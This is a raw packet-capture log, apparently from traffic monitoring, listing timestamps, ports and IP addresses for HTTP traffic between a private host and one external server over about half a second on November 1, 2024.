Nov 1, 2024 00:38:46.246239901 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.246248960 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.246283054 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.246509075 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.246547937 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.246567965 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.246582031 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.246587992 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.246617079 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.246627092 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.246651888 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.246658087 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.246687889 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.246694088 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.246730089 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.246866941 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.246920109 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.246920109 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.246968031 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.246970892 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.247011900 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.247168064 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.247210979 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.247217894 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.247255087 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.247267962 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.247288942 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.247298956 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.247328043 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.247344017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.247379065 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.247392893 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.247422934 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.247818947 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.247848988 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.247872114 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.247889042 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.298495054 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.298520088 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.298547983 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.298561096 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.298612118 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.298652887 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.326591015 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.326631069 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.326689005 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.326695919 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.326780081 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.326812983 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.326845884 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.326853037 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.326853037 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.326874018 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.326894999 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.327253103 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.327282906 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.327310085 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.327338934 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.327392101 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.327425003 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.327446938 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.327476978 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.327486992 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.327523947 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.327534914 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.327567101 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.347789049 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.347862959 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.347898006 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.347930908 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.347965002 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.347997904 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.348005056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.348005056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.348005056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.348005056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.348027945 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.348045111 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.348110914 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.348143101 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.348166943 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.348176003 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.348195076 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.348225117 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.348385096 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.348434925 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.348440886 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.348469019 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.348485947 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.348516941 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.363043070 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.363085985 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.363111973 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.363121986 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.363193989 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.363229990 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.363370895 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.363404989 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.363432884 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.363439083 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.363456011 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.363490105 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.363495111 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.363543987 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.363548040 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.363584995 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.363606930 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.363620043 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.363637924 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.363675117 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.363871098 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.363905907 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.363930941 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.363941908 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.363951921 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.363976955 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.363991022 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.364026070 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.364267111 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.364317894 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.364322901 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.364355087 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.364365101 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.364389896 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.364403009 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.364425898 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.364440918 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.364471912 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.364797115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.364825964 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.364850998 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.364866018 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.415067911 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.415100098 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.415153027 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.415153980 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.415174007 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.415182114 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.415201902 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.415225983 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.443270922 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.443303108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.443371058 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.443401098 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.443418980 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.443438053 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.443475962 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.443492889 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.443500042 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.443577051 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.443605900 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.443640947 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.443679094 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.444312096 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.444345951 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.444381952 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.444413900 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.444416046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.444452047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.444468975 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.448606968 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.464510918 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.464548111 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.464581013 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.464615107 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.464659929 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.464659929 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.464705944 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.464708090 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.464761972 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.464793921 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.464828968 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.464844942 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.464865923 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.464885950 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.464903116 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.464916945 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.464981079 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.465156078 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.465189934 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.465209961 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.465224028 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.465240002 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.465277910 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.479854107 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.479888916 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.479923010 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.479975939 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.480019093 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.480205059 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.480257988 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.480268002 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.480318069 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.480341911 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.480390072 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.480395079 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.480424881 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.480434895 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.480459929 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.480478048 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.480505943 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.480659962 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.480699062 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.480717897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.480745077 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.480751038 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.480786085 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.480808020 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.480837107 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.480984926 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.481040955 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.481086016 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.481162071 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.481179953 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.481198072 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.481210947 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.481234074 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.481249094 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.481271029 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.481286049 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.481347084 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.481364012 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.481386900 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.481394053 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.481436968 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.481908083 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.481965065 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.481972933 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.482029915 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.532058954 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.532109022 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.532146931 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.532165051 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.532176971 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.532196999 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.532227993 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.532248020 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.560122013 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.560178995 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.560185909 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.560213089 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.560241938 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.560245991 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.560261965 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.560298920 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.560333014 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.560359001 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.560365915 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.560403109 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.560445070 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.561153889 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.561203957 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.561223984 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.561239958 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.561273098 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.561276913 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.561307907 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.561312914 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.561347961 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.561373949 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.581420898 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.581476927 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.581506968 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.581541061 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.581551075 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.581576109 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.581603050 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.581629992 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.581630945 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.581667900 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.581685066 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.581702948 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.581717968 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.581737995 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.581748962 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.581790924 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.582005024 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.582056046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.582057953 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.582089901 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.582114935 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.582138062 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.596646070 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.596698999 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.596729040 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.596730947 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.596756935 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.596762896 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.596787930 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.596812010 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.597038031 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.597071886 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.597105026 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.597131968 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.597153902 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.597170115 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.597189903 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.597218037 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.597223997 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.597244024 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.597280025 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.597403049 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.597438097 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.597474098 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.597476959 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.597493887 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.597526073 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.597620964 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.597671986 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.597676992 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.597708941 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.597727060 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.597768068 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.597919941 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.597975016 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.597975969 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.598011017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.598020077 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.598045111 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.598051071 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.598081112 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.598086119 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.598123074 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.598367929 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.598437071 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.598442078 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.598472118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.598510027 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.598536968 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.598543882 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.598571062 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.598594904 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.649034977 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.649089098 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.649126053 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.649128914 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.649168015 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.649195910 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:46.677133083 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:46.677262068 CET	80	49887	185.215.113.16	192.168.2.6
